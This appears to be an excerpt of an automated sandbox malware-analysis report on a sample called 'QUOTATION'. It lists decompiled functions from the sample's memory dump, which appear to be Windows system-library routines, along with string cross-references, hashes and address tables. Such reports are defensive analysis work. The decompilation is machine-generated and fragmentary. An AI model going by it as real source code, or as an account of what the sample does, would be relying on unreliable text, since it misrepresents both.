				 *((short*)(_t173 - 0x4c)) = _t86;
				 *((short*)(_t173 - 0x4a)) = _t127;
				 *(_t173 - 0x48) = L"LdrpResGetResourceDirectory Exit";
				_t88 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t88 != 0) {
					if( *_t88 == 0) {
						goto L1;
					}
					_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					L2:
					if(( *_t89 & 0x00000001) != 0) {
						_t90 = E33733C40();
						_t165 = 0x7ffe0384;
						if(_t90 == 0) {
							_t91 = 0x7ffe0384;
						} else {
							_t91 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						E337AFC01(_t173 - 0x44,  *_t91 & 0x000000ff);
					} else {
						_t165 = 0x7ffe0384;
					}
					_t124 =  *(_t173 + 8);
					if(_t124 == 0 ||  *((intOrPtr*)(_t173 + 0x14)) == 0 ||  *((intOrPtr*)(_t173 + 0x18)) == 0) {
						_t93 = 0xc000000d;
						goto L31;
					} else {
						if((_t124 & 0x00000003) != 0) {
							_t117 = _t124 & 0x00000001;
							_t124 = _t124 & 0xfffffffc;
							_t118 = _t117 ^ 0x00000001;
							_t186 = _t118;
							 *(_t173 - 0x24) = _t118;
						}
						 *(_t173 + 0x10) =  *(_t173 + 0x10) & 0x00001000;
						_push(_t173 - 0x28);
						_push(0);
						_push( *((intOrPtr*)(_t173 + 0xc)));
						_push(_t124);
						_t95 = 0;
						_push(_t95 & 0xffffff00 | _t186 == 0x00000000);
						_t93 = E3372E580();
						if(_t93 < 0) {
							L31:
							 *[fs:0x0] =  *((intOrPtr*)(_t173 - 0x10));
							return _t93;
						} else {
							 *(_t173 - 4) =  *(_t173 - 4) & 0x00000000;
							_t146 =  *((intOrPtr*)(_t173 - 0x28));
							_t97 =  *((intOrPtr*)(_t173 - 0x28)) + 0x18;
							_t131 =  *_t97 & 0x0000ffff;
							if(_t131 != 0x10b) {
								if(_t131 != 0x20b) {
									 *(_t173 - 0x1c) = 0xc000007b;
									 *(_t173 - 4) = 0xfffffffe;
									L28:
									_t132 = 0x7ffe0385;
									_t99 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
									if(_t99 != 0) {
										if( *_t99 != 0) {
											_t132 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
										}
									}
									if(( *_t132 & 0x00000001) != 0) {
										if(E33733C40() != 0) {
											_t165 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
										}
										E337AFC01(_t173 - 0x4c,  *_t165 & 0x000000ff);
									}
									_t93 =  *(_t173 - 0x1c);
									goto L31;
								}
								_t135 = 0x3c;
								memcpy(_t173 - 0x13c, _t97, _t135 << 2);
								_t137 = 0;
								L12:
								_t105 =  *(_t173 - 0xe0);
								if(_t137 == 0) {
									_t105 =  *(_t173 - 0xd0);
								}
								if(_t105 <= 2) {
									L36:
									 *(_t173 - 0x1c) = 0xc0000089;
									goto L37;
								} else {
									_t169 =  *((intOrPtr*)(_t173 - 0xcc));
									if(_t137 == 0) {
										_t169 =  *((intOrPtr*)(_t173 - 0xbc));
									}
									if(_t169 == 0) {
										goto L36;
									} else {
										if( *(_t173 - 0x24) == 0) {
											if(_t169 <  *((intOrPtr*)(_t173 - 0x100))) {
												goto L17;
											}
											_t160 =  *(_t173 + 0x10);
											_t114 = E337281C2(_t124,  *((intOrPtr*)(_t173 + 0xc)), _t146, 0, _t169, (_t105 & 0xffffff00 | _t160 != 0x00000000) & 0x000000ff);
											if(_t114 == 0) {
												L42:
												 *(_t173 - 0x1c) = 0xc000007b;
												L37:
												 *(_t173 - 4) = 0xfffffffe;
												L27:
												_t165 = 0x7ffe0384;
												goto L28;
											}
											if( *((intOrPtr*)(_t114 + 0x10)) == 0) {
												goto L36;
											}
											_t148 =  *((intOrPtr*)(_t114 + 0x14)) -  *((intOrPtr*)(_t114 + 0xc)) + _t169 + _t124;
											L19:
											 *((intOrPtr*)(_t173 - 0x34)) = _t148;
											 *(_t173 - 4) = 0xfffffffe;
											if(_t148 == 0) {
												 *(_t173 - 0x1c) = 0xc0000089;
												goto L27;
											}
											if(_t160 == 0) {
												L26:
												 *((intOrPtr*)( *((intOrPtr*)(_t173 + 0x14)))) = _t148;
												 *((intOrPtr*)( *((intOrPtr*)(_t173 + 0x18)))) =  *((intOrPtr*)(_t173 - 0x28));
												 *(_t173 - 0x1c) =  *(_t173 - 0x1c) & 0x00000000;
												goto L27;
											}
											if(_t148 <= _t124) {
												L49:
												 *(_t173 - 0x1c) = 0xc000007b;
												goto L27;
											}
											_t171 =  *((intOrPtr*)(_t173 + 0xc)) + (_t124 & 0xfffffffc);
											if(_t148 + 0x10 > _t171) {
												goto L49;
											}
											 *(_t173 - 4) = 1;
											_t109 =  *((intOrPtr*)(_t148 + 0xc));
											 *(_t173 - 0x2c) = _t109;
											_t139 =  *((intOrPtr*)(_t148 + 0xe));
											 *(_t173 - 0x30) = _t139;
											 *(_t173 - 4) = 0xfffffffe;
											if(_t109 != 0 || _t139 != 0) {
												if(_t148 + ((_t139 & 0x0000ffff) + (_t109 & 0x0000ffff)) * 8 > _t171) {
													goto L49;
												}
												goto L26;
											} else {
												 *(_t173 - 0x1c) = 0xc000008a;
												goto L27;
											}
										}
										L17:
										_t148 = _t169 + _t124;
										if(_t148 < _t124) {
											goto L42;
										}
										_t160 =  *(_t173 + 0x10);
										goto L19;
									}
								}
							}
							_t143 = 0x38;
							memcpy(_t173 - 0x13c, _t97, _t143 << 2);
							_t137 =  *((intOrPtr*)(_t173 - 0x1d));
							goto L12;
						}
					}
				}
				L1:
				_t89 = 0x7ffe0385;
				goto L2;
			}

0x3372b360
0x3372b365
0x3372b36a
0x3372b36f
0x3372b373
0x3372b379
0x3372b37a
0x3372b380
0x3372b381
0x3372b385
0x3372b38e
0x3372b38f
0x3372b393
0x3372b397
0x3372b3a4
0x3372b3a9
0x3378353d
0x00000000
0x00000000
0x3378354c
0x3372b3b4
0x3372b3b7
0x33783556
0x3378355b
0x33783562
0x33783574
0x33783564
0x3378356d
0x3378356d
0x3378357c
0x3372b3bd
0x3372b3bd
0x3372b3bd
0x3372b3c2
0x3372b3c7
0x33783631
0x00000000
0x3372b3e1
0x3372b3e4
0x3372b3e8
0x3372b3eb
0x3372b3ee
0x3372b3ee
0x3372b3f0
0x3372b3f0
0x3372b3f3
0x3372b3fd
0x3372b3fe
0x3372b400
0x3372b403
0x3372b406
0x3372b40a
0x3372b40b
0x3372b412
0x3372b530
0x3372b533
0x3372b53f
0x3372b418
0x3372b418
0x3372b41c
0x3372b41f
0x3372b422
0x3372b42d
0x3372b59c
0x337835bd
0x337835c4
0x3372b50e
0x3372b50e
0x3372b519
0x3372b51e
0x337835ef
0x337835fe
0x337835fe
0x337835ef
0x3372b527
0x33783610
0x3378361b
0x3378361b
0x33783627
0x33783627
0x3372b52d
0x00000000
0x3372b52d
0x3372b5a4
0x3372b5ad
0x3372b5af
0x3372b443
0x3372b445
0x3372b44b
0x3372b5b6
0x3372b5b6
0x3372b454
0x3372b581
0x3372b581
0x00000000
0x3372b45a
0x3372b45c
0x3372b462
0x3372b5c1
0x3372b5c1
0x3372b46a
0x00000000
0x3372b470
0x3372b474
0x3372b548
0x00000000
0x00000000
0x3372b54e
0x3372b563
0x3372b56a
0x3372b5cc
0x3372b5cc
0x3372b588
0x3372b588
0x3372b509
0x3372b509
0x00000000
0x3372b509
0x3372b570
0x00000000
0x00000000
0x3372b57a
0x3372b488
0x3372b488
0x3372b48b
0x3372b494
0x337835b1
0x00000000
0x337835b1
0x3372b49c
0x3372b4f8
0x3372b4fb
0x3372b503
0x3372b505
0x00000000
0x3372b505
0x3372b4a0
0x33783586
0x33783586
0x00000000
0x33783586
0x3372b4ac
0x3372b4b3
0x00000000
0x00000000
0x3372b4b9
0x3372b4c0
0x3372b4c4
0x3372b4c8
0x3372b4cc
0x3372b4d0
0x3372b4da
0x3372b4f2
0x00000000
0x00000000
0x00000000
0x33783592
0x33783592
0x00000000
0x33783592
0x3372b4da
0x3372b47a
0x3372b47a
0x3372b47f
0x00000000
0x00000000
0x3372b485
0x00000000
0x3372b485
0x3372b46a
0x3372b454
0x3372b435
0x3372b43e
0x3372b440
0x00000000
0x3372b440
0x3372b412
0x3372b3c7
0x3372b3af
0x3372b3af
0x00000000

Strings

LUo3, xrefs: 3372B500
LdrpResGetResourceDirectory Enter, xrefs: 3372B385
LdrpResGetResourceDirectory Exit, xrefs: 3372B397
{, xrefs: 337835BD

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: LUo3$LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
API String ID: 0-3099704338
Opcode ID: 1ba179ca6cb6783b72d3fe85d6cb364a79e341f2ba6697662168114ec577610f
Instruction ID: eba2fc5b028be7693fc00735344892cff7b3ca58227ff5205ff4e8df8e43fb17
Opcode Fuzzy Hash: 1ba179ca6cb6783b72d3fe85d6cb364a79e341f2ba6697662168114ec577610f
Instruction Fuzzy Hash: 8391DD79A05349CFEB11CF69C844BAEBBB1FF04364F184599E854EF290D7789A80CB90

Uniqueness

Uniqueness Score: -1.00%

Function 337263CB Relevance: 5.2, Strings: 4, Instructions: 211
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E337263CB(signed int __ecx) {
				signed int _v8;
				intOrPtr _v68;
				intOrPtr _v72;
				char _v76;
				char _v92;
				char _v100;
				char _v104;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t88;
				intOrPtr _t100;
				signed int _t121;
				void* _t122;
				signed char _t126;
				void* _t128;
				void* _t131;
				void* _t133;
				signed int _t136;
				signed int _t138;

				_t123 = __ecx;
				_t138 = (_t136 & 0xfffffff8) - 0x64;
				_t83 =  *0x3381b370 ^ _t138;
				_v8 =  *0x3381b370 ^ _t138;
				_t121 = __ecx;
				if(__ecx == 0) {
					L15:
					_pop(_t128);
					_pop(_t133);
					_pop(_t122);
					return E33764B50(_t83, _t122, _v8 ^ _t138, _t126, _t128, _t133);
				} else {
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v104 = 0;
					_v100 = 0;
					_t88 = E33768870( *[fs:0x18] + 0x19c,  &_v104, 8);
					_t138 = _t138 + 0xc;
					if(_t88 != 0) {
						_push(8);
						_push( &_v104);
						_push(0x2c);
						_push(0xfffffffe);
						if(E33762A60() >= 0) {
							_t123 =  *[fs:0x18];
							 *((intOrPtr*)(_t123 + 0x19c)) = _v104;
							 *((intOrPtr*)(_t123 + 0x1a0)) = _v100;
						}
					}
					if(( *(_t121 + 0x28) & 0x00000001) != 0) {
						if(( *(_t121 + 0x38) & 0x00000001) == 0) {
							_t123 = _t121;
							E3373C700(_t121);
							 *(_t121 + 0x28) =  *(_t121 + 0x28) & 0x000000fe;
						}
					}
					if( *((intOrPtr*)(_t121 + 0x2c)) != 0) {
						if(( *(_t121 + 0x38) & 0x00000002) == 0) {
							E3374F1F0(0);
							 *((intOrPtr*)(_t121 + 0x2c)) = 0;
						}
					}
					_t83 =  *(_t121 + 0x48);
					if(_t83 != 0 && ( *(_t83 + 0x10c) & 0x00000001) == 0) {
						_t83 =  *[fs:0x18];
						_t131 = 0x50;
						if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) != 0) {
							if(( *(_t121 + 0x38) & 0x00000004) == 0) {
								E33768F40( &_v92, 0, _t131);
								_t138 = _t138 + 0xc;
								_v72 =  *((intOrPtr*)(_t121 + 0x30));
								_v68 =  *((intOrPtr*)(_t121 + 0x34));
								_push( &_v92);
								_v92 = 0xc0000710;
								_v76 = 2;
								E33778A60(_t123, _t126);
								_push(4);
								_v100 = 0;
								_push( &_v100);
								_push(5);
								_push(0xfffffffe);
								_t83 = E33762A60();
							}
						}
						_t126 =  *(_t121 + 0x38);
						if((_t126 & 0x00000010) == 0 && E33726929() != 0) {
							_push( *((intOrPtr*)(_t121 + 0x34)));
							E337AEF10(0x54, 0, "ThreadPool: callback %p(%p) returned with a transaction uncleared\n",  *((intOrPtr*)(_t121 + 0x30)));
							E33768F40( &_v92, 0, _t131);
							_t138 = _t138 + 0x20;
							_v92 = 0xc000071d;
							_v76 = 0;
							_push( &_v92);
							_t83 = E33778A60(_t123, _t126);
							_t126 =  *(_t121 + 0x38);
						}
						if((_t126 & 0x00000020) == 0) {
							_t123 =  *[fs:0x18];
							_t100 =  *((intOrPtr*)( *[fs:0x30] + 0xa0));
							_t83 =  *(_t100 + 0xc);
							if( *(_t100 + 0xc) ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
								_push( *((intOrPtr*)(_t121 + 0x34)));
								E337AEF10(0x54, 0, "ThreadPool: callback %p(%p) returned with the loader lock held\n",  *((intOrPtr*)(_t121 + 0x30)));
								E33768F40( &_v92, 0, _t131);
								_t138 = _t138 + 0x20;
								_v92 = 0xc000071e;
								_v76 = 0;
								_push( &_v92);
								_t83 = E33778A60(_t123, _t126);
								_t126 =  *(_t121 + 0x38);
							}
						}
						if((_t126 & 0x00000040) == 0) {
							_t83 =  *[fs:0x18];
							if( *((intOrPtr*)( *[fs:0x18] + 0xfb8)) != 0) {
								_push( *((intOrPtr*)(_t121 + 0x34)));
								E337AEF10(0x54, 0, "ThreadPool: callback %p(%p) returned with preferred languages set\n",  *((intOrPtr*)(_t121 + 0x30)));
								E33768F40( &_v92, 0, _t131);
								_t138 = _t138 + 0x20;
								_v92 = 0xc000071f;
								_v76 = 0;
								_push( &_v92);
								_t83 = E33778A60(_t123, _t126);
								_t126 =  *(_t121 + 0x38);
							}
						}
						if(_t126 >= 0) {
							_t83 =  *[fs:0x18];
							if( *((intOrPtr*)( *[fs:0x18] + 0xf88)) != 0) {
								_push( *((intOrPtr*)(_t121 + 0x34)));
								E337AEF10(0x54, 0, "ThreadPool: callback %p(%p) returned with background priorities set\n",  *((intOrPtr*)(_t121 + 0x30)));
								E33768F40( &_v92, 0, _t131);
								_t138 = _t138 + 0x20;
								_v92 = 0xc0000720;
								_v76 = 0;
								_push( &_v92);
								_t83 = E33778A60(_t123, _t126);
							}
						}
					}
					goto L15;
				}
			}

0x337263cb
0x337263d3
0x337263db
0x337263dd
0x337263e2
0x337263e8
0x337264d4
0x337264d8
0x337264d9
0x337264da
0x337264e5
0x337263ee
0x3372640e
0x33726415
0x33726416
0x33726417
0x3372641a
0x3372641e
0x33726422
0x33726427
0x3372642c
0x33780d22
0x33780d28
0x33780d29
0x33780d2b
0x33780d34
0x33780d3a
0x33780d45
0x33780d4f
0x33780d4f
0x33780d34
0x33726436
0x33780d5e
0x33780d64
0x33780d66
0x33780d6b
0x33780d6b
0x33780d5e
0x3372643f
0x33780d78
0x33780d7f
0x33780d84
0x33780d84
0x33780d78
0x33726445
0x3372644a
0x33726459
0x33726461
0x33726468
0x33780d90
0x33780d9d
0x33780da5
0x33780da8
0x33780daf
0x33780db7
0x33780db8
0x33780dc0
0x33780dc8
0x33780dcd
0x33780dd3
0x33780dd7
0x33780dd8
0x33780dda
0x33780ddc
0x33780ddc
0x33780d90
0x3372646e
0x33726474
0x33780de6
0x33780df4
0x33780e03
0x33780e08
0x33780e0b
0x33780e17
0x33780e1b
0x33780e1c
0x33780e21
0x33780e21
0x33726486
0x3372648e
0x33726495
0x3372649b
0x337264a1
0x33780e29
0x33780e37
0x33780e46
0x33780e4b
0x33780e4e
0x33780e5a
0x33780e5e
0x33780e5f
0x33780e64
0x33780e64
0x337264a1
0x337264aa
0x337264ac
0x337264b8
0x33780e6c
0x33780e7a
0x33780e89
0x33780e8e
0x33780e91
0x33780e9d
0x33780ea1
0x33780ea2
0x33780ea7
0x33780ea7
0x337264b8
0x337264c0
0x337264c2
0x337264ce
0x33780eaf
0x33780ebd
0x33780ecc
0x33780ed1
0x33780ed4
0x33780ee0
0x33780ee4
0x33780ee5
0x33780ee5
0x337264ce
0x337264c0
0x00000000
0x3372644a

Strings

ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 33780E2F
ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 33780EB5
ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 33780E72
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 33780DEC

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: c4979a448311ad11c2d3d98d114114ec33af261ba28cbd8c693d31c992a43d6c
Instruction ID: e02c87d56a51e207895e7685121c72ac95e5c652a5811a576b39b0400fdec180
Opcode Fuzzy Hash: c4979a448311ad11c2d3d98d114114ec33af261ba28cbd8c693d31c992a43d6c
Instruction Fuzzy Hash: DB71CEB1904304AFD760CF14C889B8B7FA9AF847A8F440469FD888E646D774D688CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 337190F8 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

VirtualQuery Failed 0x%p %x, xrefs: 3377B886
VirtualProtect Failed 0x%p %x, xrefs: 3377B849
HEAP: , xrefs: 3377B83C, 3377B879
HEAP[%wZ]: , xrefs: 3377B82F, 3377B86C

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 2994545307-1391187441
Opcode ID: 31f17c50cf921eeba9a83d08bcf7ee01a7a5b34bd8b2b139e59fa4fc55f3e71c
Instruction ID: 7cd6ddf8960f7f9b9a211d14dbb607fcffc283b638bb5a2d76f92e7856e25d16
Opcode Fuzzy Hash: 31f17c50cf921eeba9a83d08bcf7ee01a7a5b34bd8b2b139e59fa4fc55f3e71c
Instruction Fuzzy Hash: 6931BE37E01204EFDB01CB94C888F9AB7B9EF45770F1440A5E815AF291D770E941EAA0

Uniqueness

Uniqueness Score: -1.00%

Function 33761190 Relevance: 5.1, Strings: 4, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E33761190(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, signed int _a8) {
				signed int _v8;
				char _v12;
				char _v20;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				intOrPtr _v48;
				char _v52;
				signed int _t38;
				signed int _t39;
				void* _t55;
				void* _t61;
				void* _t62;
				signed int _t63;
				void* _t65;
				signed int _t70;

				_t55 = __edx;
				E33765050(__ecx,  &_v20, __ecx);
				_v52 = 0x18;
				_v44 =  &_v20;
				_v48 = 0;
				_push( &_v52);
				_push(0x20019);
				_v40 = 0x40;
				_push( &_v12);
				_v36 = 0;
				_v32 = 0;
				_t62 = E33762AB0();
				if(_t62 < 0) {
					L9:
					return _t62;
				}
				_t38 = _a8;
				_t63 = 2;
				_t39 = _t38 * _t63;
				_t70 = _t38 * _t63 >> 0x20;
				if(_t70 < 0 || _t70 <= 0 && _t39 <= 0xffffffff) {
					_v8 = _t39;
					_push( &_v8);
					_t61 = 0xc;
					_t58 = _t39;
					if(E3375457E(_t39, _t61) < 0) {
						goto L13;
					}
					_t65 = E33735D90(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
					if(_t65 == 0) {
						_t62 = 0xc0000017;
					} else {
						_t20 =  &_v28; // 0x3375e065
						E33765050(_t58, _t20, _t55);
						_push( &_a8);
						_push(_v8);
						_t23 =  &_v28; // 0x3375e065
						_push(_t65);
						_push(_t63);
						_push(_v12);
						_t62 = E33762B00();
						if(_t62 >= 0) {
							_t28 = _t65 + 0xc; // 0xc
							E337688C0(_a4, _t28,  *((intOrPtr*)(_t65 + 8)));
						}
						E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t65);
					}
					_push(_v12);
					E33762A80();
					goto L9;
				} else {
					L13:
					_push(_v12);
					E33762A80();
					return 0xc0000095;
				}
			}

0x3376119f
0x337611a2
0x337611aa
0x337611b1
0x337611b9
0x337611bc
0x337611bd
0x337611c5
0x337611cc
0x337611cd
0x337611d0
0x337611d8
0x337611dc
0x3376126d
0x00000000
0x3376126d
0x337611e2
0x337611e7
0x337611e8
0x337611ea
0x337611ec
0x33761200
0x33761203
0x33761206
0x33761207
0x33761210
0x00000000
0x00000000
0x33761229
0x3376122d
0x3376128a
0x3376122f
0x33761230
0x33761234
0x3376123c
0x3376123d
0x33761240
0x33761243
0x33761244
0x33761246
0x3376124e
0x33761252
0x33761279
0x33761280
0x33761285
0x33761260
0x33761260
0x33761265
0x33761268
0x00000000
0x33799a99
0x33799a99
0x33799a99
0x33799a9c
0x00000000
0x33799aa1

Strings

\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 3376119B
BuildLabEx, xrefs: 3376122F
@, xrefs: 337611C5
eu3, xrefs: 33761230, 33761240, 33761233, 33761245

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion$eu3
API String ID: 0-258962445
Opcode ID: 407c755b68f4ec02dd6d9c758742cc6edbdac8ff7d311d90ea503818e906d973
Instruction ID: 62b53b6c043518d72157a15a22552e4b0976db9329b404600201af6b8f42a0c1
Opcode Fuzzy Hash: 407c755b68f4ec02dd6d9c758742cc6edbdac8ff7d311d90ea503818e906d973
Instruction Fuzzy Hash: FA317071E00719BFEB118B95CC58EDEBBB9EB84768F004025E905EB260DB34DA05DB90

Uniqueness

Uniqueness Score: -1.00%

Function 337A166E Relevance: 5.1, Strings: 4, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E337A166E(intOrPtr __ecx) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _t19;
				void* _t23;
				intOrPtr _t26;
				intOrPtr _t29;
				intOrPtr _t30;
				intOrPtr _t38;
				void* _t42;
				intOrPtr _t43;
				intOrPtr _t44;
				void* _t46;
				void* _t47;
				void* _t48;

				_t44 = __ecx;
				_t30 = 0;
				_v16 = __ecx;
				_t42 =  *((intOrPtr*)(__ecx + 0x54)) +  *((intOrPtr*)( *[fs:0x30] + 8)) + 0xffffffd4;
				_t19 = E33769EB0(_t42, "BoG_ *90.0&!!  Yy>", 0x13);
				_t48 = _t47 + 0xc;
				if(_t19 != 0 ||  *((intOrPtr*)(_t42 + 0x20)) > 3) {
					_t43 = 1;
					_v8 = 1;
					_t46 = _t44 + 0x18 + ( *(_t44 + 0x14) & 0x0000ffff);
					_v12 = _t30;
					if(0 <  *(_v16 + 6)) {
						while(1) {
							_t23 = E33769EB0(_t46, "stxt371", 9);
							_t48 = _t48 + 0xc;
							if(_t23 == 0) {
								goto L12;
							}
							if(_t43 != 0) {
								_t29 = E33769EB0(_t46, ".txt", 6);
								_t48 = _t48 + 0xc;
								_t43 = _t29;
							}
							_t26 = _v8;
							if(_t26 != 0) {
								_t26 = E33769EB0(_t46, ".txt2", 7);
								_t48 = _t48 + 0xc;
								_v8 = _t26;
							}
							if(_t43 != 0 || _t26 != 0) {
								_t46 = _t46 + 0x28;
								_t38 = _v12 + 1;
								_v12 = _t38;
								if(_t38 < ( *(_v16 + 6) & 0x0000ffff)) {
									continue;
								} else {
								}
							} else {
								goto L12;
							}
							goto L13;
						}
						goto L12;
					}
				} else {
					L12:
					_t30 = 1;
					 *( *[fs:0x30] + 3) =  *( *[fs:0x30] + 3) | 0x00000008;
				}
				L13:
				return _t30;
			}

0x337a167e
0x337a1680
0x337a1689
0x337a1691
0x337a1699
0x337a16a0
0x337a16a6
0x337a16b2
0x337a16b7
0x337a16ba
0x337a16bc
0x337a16c8
0x337a16ca
0x337a16d2
0x337a16d7
0x337a16dc
0x00000000
0x00000000
0x337a16e0
0x337a16ea
0x337a16ef
0x337a16f2
0x337a16f2
0x337a16f4
0x337a16f9
0x337a1703
0x337a1708
0x337a170b
0x337a170b
0x337a1710
0x337a1719
0x337a171f
0x337a1720
0x337a1729
0x00000000
0x00000000
0x337a172b
0x00000000
0x00000000
0x00000000
0x00000000
0x337a1710
0x00000000
0x337a16ca
0x337a172d
0x337a172d
0x337a1733
0x337a1741
0x337a1741
0x337a1746
0x337a174a

Strings

.txt, xrefs: 337A16E4
.txt2, xrefs: 337A16FD
stxt371, xrefs: 337A16CC
BoG_ *90.0&!! Yy>, xrefs: 337A1693

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: .txt$.txt2$BoG_ *90.0&!! Yy>$stxt371
API String ID: 0-1880532218
Opcode ID: cc720395949dcdea1e81d379dc7c3984d8a4d1b9511cbe4c6c6b410b0a226a01
Instruction ID: 44e6d8212ec9dc7d054a936f5b5df5ecdff4d6f506e3d94428db2c872d6c122d
Opcode Fuzzy Hash: cc720395949dcdea1e81d379dc7c3984d8a4d1b9511cbe4c6c6b410b0a226a01
Instruction Fuzzy Hash: B621337AE01210ABE701CB6CDE51B9EB3F6AF45745F0942ADE845AF342EB74D901CB40

Uniqueness

Uniqueness Score: -1.00%

Function 33727072 Relevance: 4.7, APIs: 3, Instructions: 158timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 337815E0
RtlDebugPrintTimes.NTDLL ref: 337815F5

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 80ba643c624fd9140a22361f1c9d6afc6708002d7f45562d7a2c5155d6653512
Instruction ID: d6dcebc20b72162c66e1262e638cd2671ad9c106a104107052624a9f76129fa1
Opcode Fuzzy Hash: 80ba643c624fd9140a22361f1c9d6afc6708002d7f45562d7a2c5155d6653512
Instruction Fuzzy Hash: 1651EC34E00749EFEB05DB68C988BAEBBB6BF44311F14412AE402DF691DB74E905DB80

Uniqueness

Uniqueness Score: -1.00%

Function 337B3608 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

LdrpResSearchResourceHandle Enter, xrefs: 337B3666
LdrpResSearchResourceHandle Exit, xrefs: 337B3681
PE, xrefs: 337B37D2

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: LdrpResSearchResourceHandle Enter$LdrpResSearchResourceHandle Exit$PE
API String ID: 0-1168191160
Opcode ID: 21e4a031b14771f34a1273d5619e3af073c5f7e4e2d540b88e065d0d62b0e0a8
Instruction ID: ea9abb37c8fc6f9718c23c43834da1184919cd993fb407009b3e39b3cc303b57
Opcode Fuzzy Hash: 21e4a031b14771f34a1273d5619e3af073c5f7e4e2d540b88e065d0d62b0e0a8
Instruction Fuzzy Hash: 47F17FB5A003288BEF20CF14CC84B99B3B6AF44754F5441E9E549AB241EBB19EC5CF99

Uniqueness

Uniqueness Score: -1.00%

Function 33721380 Relevance: 4.1, Strings: 3, Instructions: 385COMMON

